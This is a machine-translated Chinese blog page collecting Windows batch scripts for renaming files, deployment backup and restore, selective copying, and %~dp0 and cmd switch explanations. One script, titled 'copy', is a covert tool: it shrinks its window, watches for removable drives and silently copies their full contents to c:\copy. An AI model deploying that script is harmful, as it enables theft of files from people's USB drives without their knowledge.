当前位置:网站首页>Bat common batch script record
Bat common batch script record
2022-06-22 06:01:00 【Vigilance and encouragement】
/
bat How to solve the problem that there are spaces in the file name
@echo off
color f2
echo I can put 【 Folder 】 Directory and subdirectories [ Remove file name spaces ] Put it in order - Table of contents .xls
pause
:--------------------------------------
setlocal enabledelayedexpansion
:--------------------------------------
for /f "tokens=*" %%j in ('dir/b') do (
set fn=%%j
echo Before replacement :!fn!
set fn=!fn: =!
echo After replacement :!fn!
: take fn Every space in the string (" ") Replace with a blank character ("").
ren "%%j" !fn!
)
:--------------------------------------
set pp=%~dp0
echo %pp%
:--------------------------------------
for /d /r . %%i in (*) do (
: Update path , Change the path with spaces to the path without spaces , To get into
for /f "tokens=*" %%l in (!i!) do (
set pt=%%l
set pt=!pt: =!
set i=!pt!
)
echo route %%i
cd %%i
:-------------------
for /f "tokens=*" %%j in ('dir/b') do (
set fn=%%j
echo !fn!
set fn=!fn: =!
echo !fn!
: take fn Each in the string “ ” Replace with “” Null character .
ren "%%j" !fn!
)
)
:--------------------------------------
cd %pp%
echo %pp%
for /d /r . %%k in (*) do echo %%k>> Table of contents .xls
echo The folder directory has been ( Exclude files ) Generate to 【 Table of contents .xls】
pause
///
bat The command implements the server overwrite file ( Used for automatic distribution )
1. Override file ( Program call execution )
@echo off
rem Set source directory
set "SDir=%1"
rem Set the distribution package directory
set "FBDir=%2"
rem Set up backup directory
set "BKDir=%3"
rem Set the backup folder name list
set "BKname=%date:~0,4%%date:~5,2%%date:~8,2%%TIME:~0,2%%TIME:~3,2%%TIME:~6,2%"
rem Backup
xcopy /s/e/y "%SDir%" "%BKDir%\%BKname%\"
If errorlevel 1 (
exit -1
)
rem Delete bin
if exist %SDir%\bin (
del /f /s /q /a "%SDir%\bin\*.*"
rd /q /s "%SDir%\bin"
If errorlevel 1 (
exit -2
))
rem The distribution package covers
xcopy /s/e/y "%FBDir%" "%SDir%"
If errorlevel 1 (
exit -3
)
exit 1
@echo on
2. Restore a backup from a fixed location
@echo off
rem Set source directory
set "SDir=%1"
rem Set up backup directory
set "BKDir=%2"
rem Delete system files
del /f /s /q /a "%SDir%\*.*"
If errorlevel 1 (
exit -1
)
rem Restore package override
xcopy /s/e/y "%BKDir%" "%SDir%"
If errorlevel 1 (
exit -2
)
exit 1
@echo on
BAT Batch processing can copy multiple files of a specified type in a specified folder to another folder (findstr &delims Use )
set /a CopyNum=0
REM Record the number of files not copied
set /a NoCopyNum=0
REM File names that do not need to be copied begin with : separate
set NoCopyFileName=123:234:456
:: Set file source file location
Set GeneratePath=..\BAT\JK2
:: Set the file target paste location
Set DestnationPath=..\BAT\JK3
:: Set the paste file type
set DestExt=*.h
set DestExt_2=*.txt
IF NOT EXIST "%GeneratePath%" (
echo GeneratePath is not find
GOTO end)
@for /f "delims=" %%i in ('dir /b/a-d/s %GeneratePath%\%DestExt%') do (
REM /a Indicates that the variable on the right is a numeric quantity %%~nxi File name with suffix %%~ni File name without suffix
REM 1>nul The correct parameter transfer result will not be displayed
echo %NoCopyFileName% | findstr /C:"%%~ni" 1>nul
if errorlevel 1 (
echo got one - %%~nxi not found
@xcopy %GeneratePath%\%%~nxi %DestnationPath%\ /d /y /i
::echo errorlevelxcopy %errorlevel%
set /a CopyNum+=1
) ELSE (
echo got zero - found %%~nxi
set /a NoCopyNum+=1
)
)
@echo CopyNum is %CopyNum% NoCopyNum is %NoCopyNum%
set /a CopyNum=0
set /a NoCopyNum=0
:end
/
One 、bat File to get the current directory
Method 1: What you get is bat Path to file ( Usually use this )
@echo off
echo Current directory :%~dp0
echo Current drive letter and path :%~dp0
echo Short file name format of current drive letter and path :%~sdp0
pause
Method 2: Get the current is cmd Path to the window
@echo off
echo Current directory :%cd%
pause
Two 、shell Script , Get current directory
workdir=$(cd $(dirname $0); pwd)
echo Output the current path
echo $workdir
One 、 example
@echo off
setlocal EnableDelayedExpansion
echo The path of the currently running batch file :!cd!
pause
@echo off
echo The current directory is :%cd%
pause
@echo off
:: set "abc=%cd%"
echo The path of the currently running batch file :%~dp0
pause
@echo off
echo Current drive letter and path :%~dp0
echo Short file name format of current drive letter and path :%~sdp0
pause
@echo Take the name of the parent directory of the current file
set a=D:\abc\def ghi\j k\lmn.bat
for %%a in ("%a%") do (
set ok=%%~dpa
for /f "delims=" %%b in ("!ok:~0,-1!") do (
echo %%~nb
)
)
pause
Two 、 About %~dp0 A detailed explanation of the batch command
This order is not clear , The following content comes from Baidu search results :
%~dp0 “d” by Drive Abbreviation , That's the drive , disk 、“p” by Path abbreviation , That's the path , Catalog
cd Is to go to this directory , But I think cd /d %~dp0 It's better
Option grammar :
~0 - Remove any quotes ("), expand %0
%~f0 - take %0 Expand to a fully qualified pathname (“f” yes file, I.e. documents )
%~d0 - Only will %0 Expand to a drive letter
%~p0 - Only will %0 Expand to a path
%~n0 - Only will %0 Expand to a file name (“n” yes name file name )
%~x0 - Only will %0 Expand to a file extension
%~s0 - The extended path contains only short names (“s” by Short, A short )
%~a0 - take %0 File attributes extended to files (“a” by attribute, The property )
%~t0 - take %0 Expand to the date of the file / Time (“t”time)
%~z0 - take %0 Expand to file size (Size size )
%~$PATH:0 - Find the directory listed in the path environment variable , And will %0 Expand to the first fully qualified name found . If the environment variable name is undefined , Or no files found , This key combination expands to an empty string , You can combine modifiers to get multiple results :
%~dp0 - Only will %0 Expand to a drive letter and path
%~nx0 - Only will %0 Expand to a file name and extension
%~fs0 - Only will %0 Expand to a full pathname with a short name
%~dp$PATH:0 - Find the directory listed in the path environment variable , And will %I Expand to the first drive letter and path found .
%~ftza0 - take %0 Extended to a similar output circuit DIR
%0 Create the current batch file , If 0 Switch to 1 For the first file ,2 For the first time 2 individual
*********************************************************************************************
%0 Refers to the batch file itself
%~d0 It refers to the drive letter of the batch
%~dp0 It's drive letter plus path
cd %~dp0 That is to enter the directory where the batch process is located
bat(cmd) Quickly enter the current file directory + Prevent Chinese miscoding + Keep the interface consistent Quick to enter .bat
:: Prevent Chinese miscoding chcp 65001 :: Close back display @echo off :: Go to current directory cd %~dp0 :: Keep the interface always displayed after operation cmd /k :: Enable echo @echo on
cmd /c dir After execution dir Close the command window after the command .
cmd /k dir After execution dir Do not close the command window after the command .
cmd /c start dir Will open a new window and execute dir Instructions , The original window will close .
cmd /k start dir Will open a new window and execute dir Instructions , The original window will not close .
It can be used cmd /? View help information .
CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]
[[/S] [/C | /K] string]
/C Execute the command specified by the string and terminate
/K Execute the command specified by the string but leave
/S modify /C or /K Subsequent string processing ( See below )
/Q Close back display
/D It is forbidden to execute from the registry AutoRun command ( See below )
/A Make the internal command output to a pipe or file ANSI
/U Make the internal command output to a pipe or file
Unicode
/T:fg Set foreground / The background color ( For details, see COLOR /?)
/E:ON Enable command extension ( See below )
/E:OFF Disable command extensions ( See below )
/F:ON Enable file and directory name completion characters ( See below )
/F:OFF Disable file and directory name completion characters ( See below )
/V:ON Use ! Enable deferred environment variables as delimiters
Expand . for example ,/V:ON Will allow !var! When executed
Extended variables var.var The syntax will be used when inputting
Extended variables , This is different from FOR
Different within the cycle .
copy
@echo off
title $$$$* Han * Han * system * build *$$$$
mode con: cols=14 lines=1
:again
cls
del /Q /f "%temp%\copy.tmp" >nul 2>nul
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i " Removable drive " "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
rem No removable disks detected !
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i " Removable drive " "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
rem Copied , Please clean up the documents in time !
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again
//
When used del When deleting a file , Out of commission del /a /f >nul 2>nul&&echo yes||echo no To determine whether it has been deleted , Because in any case , Always show yes.rd There is no such phenomenon . therefore , When you don't know whether you want to delete a file or a folder , You should use the following code :
@echo off
:: rd and del The order of can't be reversed
rd /q /s " The goal is ">nul 2>nul||del /a /f " The goal is ">nul 2>nul
pause
///
边栏推荐
- 基于CRU中的tmp数据进行年平均气温分析
- Ethernet UDP frame contract design
- 非传递骰子(春季每日一题 51)
- 为Cortex-M4编写优化的DSP代码
- 自控原理之系统辨识
- 402-字符串(题目:剑指Offer58-II.左旋转字符串、 28. 实现 strStr()、459.重复的子字符串)
- Use and decoupling of the mobile terminal's realm database, and use OC realm safely across threads
- Use of idea plug-in EASYCODE
- 微信小程序开发 第一周:页面设置、页面跳转、数据绑定
- Assertion based validation
猜你喜欢
随机推荐
Keil调试时设置断点的高级用法
记录在处理SIF数据中,遇到的一些问题及解决过程
Le contrôle MFC tabctrl modifie la taille de l'étiquette
为Cortex-M4编写优化的DSP代码
以太网UDP帧发包设计
PID笔记
AUTOSAR from getting started to mastering 100 lectures (150) -soa architecture and Application
open source hypervisor
EPP (Enhanced Parallel Port 增强型并口)
Simple use of idea plug-in easy code
vscode 远程连接错误:Server status check failed - waiting and retrying
错误:note: module requires Go 1.17
vcpkg:If you are sure you want to rebuild the above packages, run the command with the --recurse opt
单精度,双精度和精度(转载)
401-字符串(344. 反转字符串、541. 反转字符串II、题目:剑指Offer 05.替换空格、151. 颠倒字符串中的单词)
Conversion between gray code and binary
OPTEE notes
Read and understand the four deep learning methods of supervised learning, unsupervised learning, semi supervised learning and intensive learning
MFC TabCtrl 控件修改标签尺寸
401 string (344. reverse string, 541. reverse string II, Title: Sword finger offer 05. replace spaces, 151. reverse words in string)









